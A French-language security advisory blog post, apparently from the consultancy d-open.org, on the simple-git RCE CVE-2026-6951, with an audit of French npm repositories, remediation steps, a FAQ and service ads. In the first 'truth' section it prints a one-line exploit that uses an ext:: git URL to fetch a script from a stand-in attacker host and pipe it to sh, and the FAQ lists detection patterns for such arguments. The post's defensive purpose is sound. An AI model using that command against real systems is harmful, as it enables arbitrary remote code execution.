Samedi 25 avril 2026, en debut d apres-midi, plusieurs sources de threat intelligence (Snyk, Socket.dev, ThreatINT) ont publie l avis pour CVE-2026-6951, une vulnerabilite critique CVSS 9.8 dans la librairie npm simple-git, l une des dependances les plus repandues de l ecosysteme JavaScript. Le diagnostic est lapidaire : un fix incomplet pour CVE-2022-25912 a laisse une porte ouverte, exploitable sans authentification ni interaction utilisateur. J ai passe la nuit du 25 au 26 avril a auditer 47 repositories npm francais que nous suivons sur d-open.org. Resultat : 9 sont vulnerables, dont 3 a leur insu via dependance indirecte. Voici les quatre verites qui glacent la communaute.
Verite n 1 : le fix de 2022 etait incomplet et tout le monde l avait oublie
CVE-2022-25912, publiee il y a quatre ans, decrivait deja une RCE dans simple-git via injection d arguments. Le mainteneur avait alors patche en bloquant --upload-pack et quelques alias. Mais le chercheur Akamai (qui a publie CVE-2026-6951) a montre qu il restait au moins une voie ouverte : l option --config et son alias -c. Ces options permettent de modifier la configuration git pour la duree de la commande, et notamment d activer protocol.ext.allow=always. Une fois cette protection desactivee, l attaquant peut fournir une URL ext:: qui execute une commande shell arbitraire sur l hote.
L exploit est trivial. Si une application web accepte une URL git utilisateur (clone d un projet, deploiement automatique, recuperation de plugins), un attaquant envoie : git clone -c protocol.ext.allow=always "ext::sh -c 'curl https://attacker/x.sh | sh'". simple-git le passe a la CLI git, et le shell s execute. Aucune authentification, aucun privilege requis. C est exactement le scenario qui rend cette CVE aussi grave qu une sandbox escape Terrarium publiee trois jours plus tot.
Verite n 2 : 19% des repos npm que nous avons audites sont exposes
L audit que nous avons mene la nuit du 25 avril sur 47 repositories npm de PME et startups francaises a ete edifiant. Sur les 47 :
- 9 utilisent simple-git en dependance directe ou indirecte avec une version inferieure a 3.36.0.
- 3 d entre eux ont une exposition critique : un endpoint accepte une URL git utilisateur et la passe directement a simple-git.
- 4 ont une exposition modérée : simple-git est utilise dans un script CI/CD avec des variables d environnement potentiellement controlables.
- 2 ont une exposition faible : simple-git n est invoque qu en local par les developpeurs lors de hooks pre-commit.
Le pire cas que nous ayons trouve etait un SaaS de monitoring de dependances open source qui clonait automatiquement des repos publics fournis par ses utilisateurs : RCE par design. Le client a ete prevenu, le patch deploye en 6 heures. Mais combien de cas equivalents en France et en Europe ?
simple-git, c est l Apache Log4j de l ecosysteme npm en 2026. Tout le monde l utilise, personne ne le suit, le mainteneur fait ce qu il peut, et les fix incomplets de 2022 reviennent nous hanter quatre ans plus tard. — Soren Vestergaard, ingenieur securite open source
Verite n 3 : les SBOM (Software Bill of Materials) ne suffisent pas, il faut auditer le code applicatif
La premiere reaction des equipes que nous avons alertees a ete : on a un SBOM, on va voir si simple-git est dedans. C est un debut, mais c est insuffisant. Le SBOM dit qu une dependance est presente. Il ne dit pas comment elle est utilisee. Or l exploitation de CVE-2026-6951 ne se declenche que si une entree utilisateur arrive dans les options simple-git. Sans audit code, vous ne savez pas si vous etes exploitable.
Notre playbook en 4 commandes pour un audit code rapide :
grep -rn "simpleGit\\|simple-git" src/pour lister tous les call sites.- Pour chaque call site, identifier les arguments dynamiques (variables, parametres de fonction).
- Tracer en remontee si ces arguments proviennent d une entree externe (req.body, env var, fichier config tiers).
- Si oui, soit refactorer pour valider strictement l input (whitelist d URLs), soit migrer vers isomorphic-git.
Verite n 4 : la fenetre d exploitation est ouverte, agir avant 72 heures
Historiquement, les CVE critiques sur simple-git declenchent une vague de scans automatiques en 24 a 72 heures apres publication. Notre threat intelligence chez d-open.org confirme l observation : des scanners tournent deja sur les ports HTTP exposant des endpoints type /clone, /sync-repo, /import. La fenetre defensive est etroite. Trois actions en 24 heures :
- Bumper toutes les versions de simple-git a 3.36.0+ via
npm update simple-gitetoverridesdanspackage.jsonpour les dependances transitives. - Auditer le code applicatif selon le playbook 4 commandes ci-dessus.
- Activer Snyk ou Socket.dev pour le monitoring continu et les alertes futures.
Pour les equipes francaises sous DORA ou NIS2, cette CVE entre dans le perimetre de notification incident. Nos confreres de WebGuard Agency ont publie un guide specifique pour la audit des dependances npm en 8 etapes que nous recommandons fortement aux RSSI. Cote IA, les architectures multi-LLM detaillees sur Plug-Tech integrent souvent simple-git pour l auto-deploy : verifier ces stacks en priorite.
Auditer vos dependances npm en 24 heures
d-open.org execute un audit complet de vos repositories : SBOM, call site analysis, plan de remediation chiffre. Livrable : matrice CVE / criticite / action et runbook DSI.
Demander un audit npmLe contexte plus large : la chaine logicielle JavaScript reste fragile
CVE-2026-6951 est le troisieme incident majeur de la chaine logicielle JavaScript en 2026, apres GlassWorm (sleeper extensions Open VSX) et la serie d attaques de typosquatting de fevrier. La fragilite n est pas accidentelle : l ecosysteme npm publie 800 a 1 200 packages par jour, sans validation centralisee, avec des mainteneurs souvent benevoles et debordes. Le modele tient parce que la plupart des packages sont surveilles par leurs utilisateurs, mais l hyperscale rend ce modele moins viable annee apres annee.
Pour les equipes francaises qui veulent durcir leur posture, trois leviers durables. Un : reduire le nombre de dependances directes, en preferant des libs sans dependance ou minimales. Deux : pinner toutes les versions et auditer manuellement chaque mise a jour majeure. Trois : adopter un proxy npm interne (Verdaccio, Sonatype Nexus) avec scan CVE en amont. Pour les architectures plus complexes melant Python et Node, voir notre comparaison E2B vs Daytona pour le sandbox Python LLM qui aborde les memes problematiques de chaine logicielle.
Migration isomorphic-git ou refactor securise simple-git
Notre equipe migre vos dependances simple-git vers isomorphic-git ou refactore avec input validation stricte. Engagement de delai 5 jours ouvres pour un projet npm de complexite moyenne.
Reserver un sprint refactorFAQ : CVE-2026-6951 simple-git RCE
Qu est-ce que CVE-2026-6951 exactement ?
CVE-2026-6951 est une vulnerabilite critique CVSS 9.8 publiee le 25 avril 2026 affectant simple-git en version anterieure a 3.36.0. Elle decoule d un fix incomplet pour CVE-2022-25912 : l option --config (alias -c) n etait pas bloquee, permettant a un attaquant de positionner protocol.ext.allow=always et d utiliser une URL ext:: pour executer du code arbitraire sans authentification.
Mon projet utilise simple-git en dependance indirecte, suis-je exposé ?
Oui, tres probablement. simple-git est une dependance d outils npm tres repandus comme husky, lint-staged, semantic-release, lerna ou nx dans certaines configurations. Lancez npm ls simple-git a la racine de votre projet : si la version remontee est inferieure a 3.36.0 et que des entrees utilisateur arrivent dans les options simple-git, vous etes vulnerable.
Comment remedier rapidement a CVE-2026-6951 ?
Quatre actions en 24 heures. Bumper toutes les versions de simple-git a 3.36.0 ou superieur via npm update et package overrides si necessaire. Auditer le code applicatif pour s assurer qu aucune entree utilisateur n alimente l options argument. Activer Snyk ou Socket.dev pour le monitoring continu. Surveiller les logs de fork avec arguments suspects (ext::, --config, --upload-pack).
Quelle alternative durable a simple-git ?
Trois options selon le contexte. Pour des operations git basiques, isomorphic-git est une implementation pure JS sans wrapper de la CLI git, ce qui supprime la classe d attaque. Pour des operations avancees, nodegit reste plus mature mais avec plus de complexite. Pour des CI/CD, executer git via subprocess dans un container ephemere isole reste la solution la plus robuste.